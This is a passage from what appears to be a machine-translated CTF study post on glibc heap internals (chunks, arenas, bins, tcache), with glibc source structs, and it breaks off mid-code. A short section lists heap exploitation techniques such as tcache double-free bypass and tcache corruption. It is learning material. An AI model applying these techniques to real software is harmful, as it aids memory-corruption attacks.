{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-learning-heap-en","result":{"data":{"markdownRemark":{"id":"9aafa139-f53c-58c4-9dfc-b87210484c8f","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-learning-heap\">original page</a>.</p>\n</blockquote>\n<p>Apparently there are many different things that can be called Heap, but for now I’ll focus on learning about glibc’s <code class=\"language-text\">malloc</code> function.</p>\n<!-- omit in toc -->\n<h2 id=\"contents\" style=\"position:relative;\"><a href=\"#contents\" aria-label=\"contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Contents</h2>\n<ul>\n<li><a href=\"#key-points-heap-for-ctf\">Key Points: Heap for CTF</a></li>\n<li><a href=\"#allocating-heap-with-malloc-__libc_malloc\">Allocating Heap with malloc() (_<em>libc</em>malloc)</a></li>\n<li><a href=\"#freeing-heap-with-free\">Freeing Heap with free()</a></li>\n<li><a href=\"#heap-exploitation-techniques\">Heap Exploitation Techniques</a></li>\n<li><a href=\"#getting-the-glibc-source-code\">Getting the glibc Source Code</a></li>\n<li>\n<p><a href=\"#chunks\">Chunks</a></p>\n<ul>\n<li><a href=\"#allocated-chunk\">Allocated chunk</a></li>\n<li><a href=\"#free-chunk\">Free chunk</a></li>\n</ul>\n</li>\n<li><a href=\"#arenas\">Arenas</a></li>\n<li><a href=\"#fastbin\">fastbin</a></li>\n<li><a href=\"#unsortedbin\">unsortedbin</a></li>\n<li><a href=\"#smallbin\">smallbin</a></li>\n<li><a href=\"#largebin\">largebin</a></li>\n<li><a href=\"#tcache\">tcache</a></li>\n<li>\n<p><a href=\"#heap-exploit-practice\">Heap Exploit Practice</a></p>\n<ul>\n<li><a href=\"#picoctf--cache-me-outside\">picoCTF:  Cache Me Outside</a></li>\n</ul>\n</li>\n<li><a href=\"#summary\">Summary</a></li>\n<li><a href=\"#references\">References</a></li>\n</ul>\n<h2 id=\"key-points-heap-for-ctf\" style=\"position:relative;\"><a href=\"#key-points-heap-for-ctf\" aria-label=\"key points heap for ctf permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Key Points: Heap for CTF</h2>\n<ul>\n<li>The purpose of the heap is to persistently allocate memory regions of an appropriate size on demand</li>\n<li>The mechanism that allocates and frees heap memory is called an allocator</li>\n<li>\n<p>The heap memory pool is managed by a mechanism called an arena</p>\n<ul>\n<li>When multiple threads exist, each thread is given its own “thread arena”</li>\n</ul>\n</li>\n<li>Heap allocation is performed by increasing the program break and moving it upward</li>\n<li>\n<p>The heap is managed in blocks called chunks, and on x86_64 they are aligned to 0x10-byte boundaries</p>\n<ul>\n<li>The minimum chunk size is defined as <code class=\"language-text\">MINSIZE</code> and is 0x20 bytes</li>\n</ul>\n</li>\n<li>\n<p>Freed chunks are kept as doubly linked lists</p>\n<ul>\n<li>There is also a mechanism that manages small chunks with a singly linked list</li>\n</ul>\n</li>\n<li>Heap parameters that users can tune are managed as a single <code class=\"language-text\">malloc_par</code> per process</li>\n</ul>\n<h2 id=\"allocating-heap-with-malloc-_libcmalloc\" style=\"position:relative;\"><a href=\"#allocating-heap-with-malloc-_libcmalloc\" aria-label=\"allocating heap with malloc _libcmalloc permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Allocating Heap with malloc() (_<em>libc</em>malloc)</h2>\n<blockquote>\n<p><strong>Note:</strong> The material starting on p.572 of <a href=\"https://amzn.to/3AEtVa7\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">詳解セキュリティコンテスト</a> is extremely comprehensive, so please see that for more details.</p>\n</blockquote>\n<ol>\n<li>Determine the appropriate chunk size from the requested size given to <code class=\"language-text\">__libc_malloc()</code> (requested size + 0x8 bytes, aligned to 0x10)</li>\n<li>Depending on the requested size, try to allocate a chunk in the order tcache (0x410 bytes or less) → bins</li>\n<li>Depending on where the chunk is allocated from, either <code class=\"language-text\">_int_malloc()</code> or <code class=\"language-text\">tcache_get()</code> is used</li>\n</ol>\n<p>If <code class=\"language-text\">_int_malloc()</code> is selected, processing branches according to the requested size as described in the following article.</p>\n<p>Reference: <a href=\"https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/core_functions#void-_int_malloc-mstate-av-size_t-bytes\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Core Functions - heap-exploitation</a></p>\n<p>For the behavior of <code class=\"language-text\">_int_malloc()</code>, refer to the UML on p.574 of <a href=\"https://amzn.to/3AEtVa7\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">詳解セキュリティコンテスト</a>.</p>\n<blockquote>\n<p><strong>Note:</strong> If you try to allocate a huge region (0x200000 bytes or more), Heap allocation is performed with <code class=\"language-text\">mmap()</code>.</p>\n</blockquote>\n<h2 id=\"freeing-heap-with-free\" style=\"position:relative;\"><a href=\"#freeing-heap-with-free\" aria-label=\"freeing heap with free permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Freeing Heap with free()</h2>\n<ol>\n<li>The <code class=\"language-text\">__libc_free()</code> function is called, and it checks whether the chunk being freed was allocated with <code class=\"language-text\">mmap()</code></li>\n<li>Depending on the result, either <code class=\"language-text\">munmap_chunk()</code> or <code class=\"language-text\">_int_free()</code> is used for the free operation</li>\n<li>When <code class=\"language-text\">_int_free()</code> is used, it decides whether to link the chunk into tcache, fastbin, or somewhere else based on the size and entry count</li>\n</ol>\n<blockquote>\n<p><strong>Note:</strong> For more detailed behavior, see <a href=\"https://amzn.to/3AEtVa7\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">詳解セキュリティコンテスト</a>.</p>\n</blockquote>\n<h2 id=\"heap-exploitation-techniques\" style=\"position:relative;\"><a href=\"#heap-exploitation-techniques\" aria-label=\"heap exploitation techniques permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Heap Exploitation Techniques</h2>\n<p>Reference: <a href=\"https://github.com/shellphish/how2heap\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">how2heap: A repository for learning various heap exploitation techniques.</a></p>\n<ul>\n<li>Leaking addresses\nTo leak addresses, it seems you can use use-after-free bugs or uninitialized-memory bugs.</li>\n<li>Double Free\nNormally tcache detects double free through the entry’s key, but by using UAF or something similar to rewrite the key, you can bypass the double-free check.</li>\n<li>\n<p>Corrupting tcache / corrupting <code class=\"language-text\">mp_.tcache_bins</code></p>\n<p>This makes it possible to allocate memory from an arbitrary address.</p>\n</li>\n<li>Poisoning fastbin / smallbin / largebin</li>\n<li>Corrupting the <code class=\"language-text\">size</code> field in a chunk header\nBy enlarging the chunk size, you can make it encroach on other chunks.</li>\n<li>Shrinking the top size</li>\n</ul>\n<h2 id=\"getting-the-glibc-source-code\" style=\"position:relative;\"><a href=\"#getting-the-glibc-source-code\" aria-label=\"getting the glibc source code permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Getting the glibc Source Code</h2>\n<p>For now I obtained the <code class=\"language-text\">glibc</code> source code from the following repository.</p>\n<p>It seems to be a repository mirroring the official repository.</p>\n<p>Reference: <a href=\"https://github.com/bminor/glibc\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">GitHub - bminor/glibc: Unofficial mirror of sourceware glibc repository. Updated daily.</a></p>\n<p>This time, when reading glibc, I’ll basically work with <code class=\"language-text\">glibc-2.35</code>.</p>\n<h2 id=\"chunks\" style=\"position:relative;\"><a href=\"#chunks\" aria-label=\"chunks permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Chunks</h2>\n<p>The heap manages memory in units called chunks.</p>\n<p>On x86<em>64, chunks are aligned on 0x10-byte boundaries. (Twice the size of `size</em>t`.)</p>\n<p>Also, the minimum size of a single chunk is defined as 0x20 bytes as <code class=\"language-text\">MINSIZE</code>.</p>\n<p>This chunk header is defined by the following struct.</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/*\n  This struct declaration is misleading (but accurate and necessary).\n  It declares a \"view\" into memory allowing access to necessary\n  fields at known offsets from a given base. See explanation below.\n*/</span>\n\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span> <span class=\"token punctuation\">{</span>\n\n  INTERNAL_SIZE_T      mchunk_prev_size<span class=\"token punctuation\">;</span>  <span class=\"token comment\">/* Size of previous chunk (if free).  */</span>\n  INTERNAL_SIZE_T      mchunk_size<span class=\"token punctuation\">;</span>       <span class=\"token comment\">/* Size in bytes, including overhead. */</span>\n\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> fd<span class=\"token punctuation\">;</span>         <span class=\"token comment\">/* double links -- used only if free. */</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> bk<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Only used for large blocks: pointer to next larger size.  */</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> fd_nextsize<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* double links -- used only if free. */</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> bk_nextsize<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>To understand chunk structure, the diagram in the following link was very easy to follow.</p>\n<p>The low 3 bits of <code class=\"language-text\">Size of chunk</code> are assigned A/M/P in order, and they mean the following.</p>\n<ul>\n<li>A: <code class=\"language-text\">NON_MAIN＿ARENA</code>   set when the chunk is managed by another arena rather than <code class=\"language-text\">main_arena</code></li>\n<li>M: <code class=\"language-text\">IS_MMAPPED</code>   set when it is located in memory allocated by <code class=\"language-text\">mmap</code> rather than in the heap region</li>\n<li>P: <code class=\"language-text\">PREV_INUSE</code>   set when <code class=\"language-text\">prev_chunk</code> is in use</li>\n</ul>\n<p>Reference: <a href=\"https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">malloc_chunk - heap-exploitation</a></p>\n<h3 id=\"allocated-chunk\" style=\"position:relative;\"><a href=\"#allocated-chunk\" aria-label=\"allocated chunk permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Allocated chunk</h3>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">    chunk-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Size of previous chunk, <span class=\"token keyword\">if</span> unallocated <span class=\"token punctuation\">(</span>P <span class=\"token function\">clear</span><span class=\"token punctuation\">)</span>  <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Size of chunk, <span class=\"token keyword\">in</span> bytes                     <span class=\"token operator\">|</span>A<span class=\"token operator\">|</span>M<span class=\"token operator\">|</span>P<span class=\"token operator\">|</span>\n      mem-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             User data starts here<span class=\"token punctuation\">..</span>.                          <span class=\"token builtin class-name\">.</span>\n            <span class=\"token builtin class-name\">.</span>                                                               <span class=\"token builtin class-name\">.</span>\n            <span class=\"token builtin class-name\">.</span>             <span class=\"token punctuation\">(</span>malloc_usable_size<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> bytes<span class=\"token punctuation\">)</span>                      <span class=\"token builtin class-name\">.</span>\n            <span class=\"token builtin class-name\">.</span>                                                               <span class=\"token operator\">|</span>\nnextchunk-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             <span class=\"token punctuation\">(</span>size of chunk, but used <span class=\"token keyword\">for</span> application data<span class=\"token punctuation\">)</span>    <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Size of next chunk, <span class=\"token keyword\">in</span> bytes                <span class=\"token operator\">|</span>A<span class=\"token operator\">|</span><span class=\"token number\">0</span><span class=\"token operator\">|</span><span class=\"token number\">1</span><span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</code></pre></div>\n<p>Looking at the structure of an allocated chunk, data is stored after the chunk size.</p>\n<p>Depending on the case, the <code class=\"language-text\">Size of previous chunk</code> area of the next chunk is also used for data.</p>\n<h3 id=\"free-chunk\" style=\"position:relative;\"><a href=\"#free-chunk\" aria-label=\"free chunk permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Free chunk</h3>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">    chunk-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Size of previous chunk, <span class=\"token keyword\">if</span> unallocated <span class=\"token punctuation\">(</span>P <span class=\"token function\">clear</span><span class=\"token punctuation\">)</span>  <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    <span class=\"token variable\"><span class=\"token variable\">`</span>head:' <span class=\"token operator\">|</span>             Size of chunk, <span class=\"token keyword\">in</span> bytes                     <span class=\"token operator\">|</span>A<span class=\"token operator\">|</span><span class=\"token number\">0</span><span class=\"token operator\">|</span>P<span class=\"token operator\">|</span>\n      mem-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Forward pointer to next chunk <span class=\"token keyword\">in</span> list             <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Back pointer to previous chunk <span class=\"token keyword\">in</span> list            <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Unused space <span class=\"token punctuation\">(</span>may be <span class=\"token number\">0</span> bytes long<span class=\"token punctuation\">)</span>                <span class=\"token builtin class-name\">.</span>\n            <span class=\"token builtin class-name\">.</span>                                                               <span class=\"token builtin class-name\">.</span>\n            <span class=\"token builtin class-name\">.</span>                                                               <span class=\"token operator\">|</span>\nnextchunk-<span class=\"token operator\">></span> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n    <span class=\"token variable\">`</span></span>foot:' <span class=\"token operator\">|</span>             Size of chunk, <span class=\"token keyword\">in</span> bytes                           <span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n            <span class=\"token operator\">|</span>             Size of next chunk, <span class=\"token keyword\">in</span> bytes                <span class=\"token operator\">|</span>A<span class=\"token operator\">|</span><span class=\"token number\">0</span><span class=\"token operator\">|</span><span class=\"token number\">0</span><span class=\"token operator\">|</span>\n            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+</code></pre></div>\n<p>Freed chunks additionally contain the values <code class=\"language-text\">Forward pointer to next chunk in list</code> and <code class=\"language-text\">Back pointer to previous chunk in list</code>.</p>\n<p>These correspond to the <code class=\"language-text\">fd</code> and <code class=\"language-text\">bk</code> pointers, respectively.</p>\n<h2 id=\"arenas\" style=\"position:relative;\"><a href=\"#arenas\" aria-label=\"arenas permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Arenas</h2>\n<p>The mechanism that manages the heap memory pool is called an arena.</p>\n<p>Arenas are defined by the following <code class=\"language-text\">malloc_state</code> struct.</p>\n<p>The main thread’s arena is defined as a global variable and is not included in the heap segment.</p>\n<p>This main-thread arena exists under the name <code class=\"language-text\">main_arena</code>.</p>\n<p>Below are brief explanations of several arena-related fields.</p>\n<ul>\n<li>fastbinsY: an array of singly linked linear lists that manage fastbin chunks by size</li>\n<li>top: points to the start of the unused part of the memory pool</li>\n<li>last_remainder: keeps the one leftover chunk that was not used when an existing freed chunk was split</li>\n<li>bins: an array of doubly linked circular lists that manage unsortedbin, smallbin, and largebin</li>\n<li>binmap: a map with flags corresponding to the indices of bins that currently have chunks linked into them</li>\n<li>system_mem: the total amount of memory pool obtained from the system</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token comment\">/*\n   have_fastchunks indicates that there are probably some fastbin chunks.\n   It is set true on entering a chunk into any fastbin, and cleared early in\n   malloc_consolidate.  The value is approximate since it may be set when there\n   are no fastbin chunks, or it may be clear even if there are fastbin chunks\n   available.  Given it's sole purpose is to reduce number of redundant calls to\n   malloc_consolidate, it does not affect correctness.  As a result we can safely\n   use relaxed atomic accesses.\n */</span>\n\n<span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_state</span>\n<span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/* Serialize access.  */</span>\n  <span class=\"token function\">__libc_lock_define</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">,</span> mutex<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Flags (formerly in max_fast).  */</span>\n  <span class=\"token keyword\">int</span> flags<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Set if the fastbin chunks contain recently inserted free blocks.  */</span>\n  <span class=\"token comment\">/* Note this is a bool but not all targets support atomics on booleans.  */</span>\n  <span class=\"token keyword\">int</span> have_fastchunks<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Fastbins */</span>\n  mfastbinptr fastbinsY<span class=\"token punctuation\">[</span>NFASTBINS<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Base of the topmost chunk -- not otherwise kept in a bin */</span>\n  mchunkptr top<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* The remainder from the most recent split of a small request */</span>\n  mchunkptr last_remainder<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Normal bins packed as described above */</span>\n  mchunkptr bins<span class=\"token punctuation\">[</span>NBINS <span class=\"token operator\">*</span> <span class=\"token number\">2</span> <span class=\"token operator\">-</span> <span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Bitmap of bins */</span>\n  <span class=\"token keyword\">unsigned</span> <span class=\"token keyword\">int</span> binmap<span class=\"token punctuation\">[</span>BINMAPSIZE<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Linked list */</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_state</span> <span class=\"token operator\">*</span>next<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Linked list for free arenas.  Access to this field is serialized\n     by free_list_lock in arena.c.  */</span>\n  <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_state</span> <span class=\"token operator\">*</span>next_free<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Number of threads attached to this arena.  0 if the arena is on\n     the free list.  Access to this field is serialized by\n     free_list_lock in arena.c.  */</span>\n  INTERNAL_SIZE_T attached_threads<span class=\"token punctuation\">;</span>\n\n  <span class=\"token comment\">/* Memory allocated from the system in this arena.  */</span>\n  INTERNAL_SIZE_T system_mem<span class=\"token punctuation\">;</span>\n  INTERNAL_SIZE_T max_system_mem<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>Regarding the <code class=\"language-text\">bins</code> inside an arena, earlier I described them as “an array of doubly linked circular lists that manage unsortedbin, smallbin, and largebin.”</p>\n<p><code class=\"language-text\">bins</code> is a list of freed (non-allocated) chunks.</p>\n<p>One of the following is selected for <code class=\"language-text\">bins</code> depending on the chunk size and other factors.</p>\n<ol>\n<li>Fast bin</li>\n<li>Unsorted bin</li>\n<li>Small bin</li>\n<li>Large bin</li>\n</ol>\n<p>Here, <code class=\"language-text\">bins[2n]</code> and <code class=\"language-text\">bins[2n+1]</code> are managed as one set.</p>\n<p>These respectively play the roles of <code class=\"language-text\">fd</code> and <code class=\"language-text\">bk</code> in the list structure.</p>\n<p>To compute the address of a chunk header from a smallbin or largebin index, the following <code class=\"language-text\">bin_at</code> macro is used (<code class=\"language-text\">bin_at</code> indices start at 1).</p>\n<div class=\"gatsby-highlight\" data-language=\"c\"><pre class=\"language-c\"><code class=\"language-c\"><span class=\"token keyword\">typedef</span> <span class=\"token keyword\">struct</span> <span class=\"token class-name\">malloc_chunk</span><span class=\"token operator\">*</span> mchunkptr<span class=\"token punctuation\">;</span>\nmchunkptr bins<span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span> <span class=\"token comment\">// Array of pointers to chunks</span>\n\n<span class=\"token comment\">/* addressing -- note that bin_at(0) does not exist */</span>\n<span class=\"token macro property\"><span class=\"token directive-hash\">#</span><span class=\"token directive keyword\">define</span> <span class=\"token macro-name function\">bin_at</span><span class=\"token expression\"><span class=\"token punctuation\">(</span>m<span class=\"token punctuation\">,</span> i<span class=\"token punctuation\">)</span> </span><span class=\"token punctuation\">\\</span>\n  <span class=\"token expression\"><span class=\"token punctuation\">(</span>mbinptr<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span> <span class=\"token operator\">*</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">&amp;</span><span class=\"token 